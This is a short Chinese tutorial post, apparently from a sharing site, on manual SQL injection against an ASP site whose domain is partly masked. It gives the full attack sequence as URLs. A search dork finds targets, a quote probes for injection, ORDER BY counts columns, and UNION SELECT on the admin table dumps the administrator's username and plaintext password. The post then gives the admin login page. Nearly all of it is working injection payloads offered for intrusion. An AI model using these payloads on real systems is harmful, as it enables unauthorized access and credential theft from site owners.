您的位置:首页 > 数据库

SQL手工注入

2014-05-21 22:13 302 查看
site:xx.cn inurl:asp?id= //找文章

xx.cn/pth/onews.asp?id=243' //试注入

xx.cn/pth/onews.asp?id=243 order by 10

xx.cn/pth/onews.asp?id=243 order by 20 //order by 语句用于根据指定的列(字段)对结果集进行排序,这里是在爆字段长度

爆出字段长度为11

联合查询

xx.cn/pth/onews.asp?id=243 and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11 from admin

或者

xx.cn/pth/onews.asp?id=243 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11 from admin

爆出2&&3,用字段(admin表中的admin字段与password字段)替换掉2&&3

xx.cn/pth/onews.asp?id=243 and 1=2 union select 1,admin,password,4,5,6,7,8,9,10,11 from admin

爆出账号与密码:
账号:admin
密码:bfpms

找到后台:xx.cn/pth/admin/adminlogin.asp

登陆即可
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: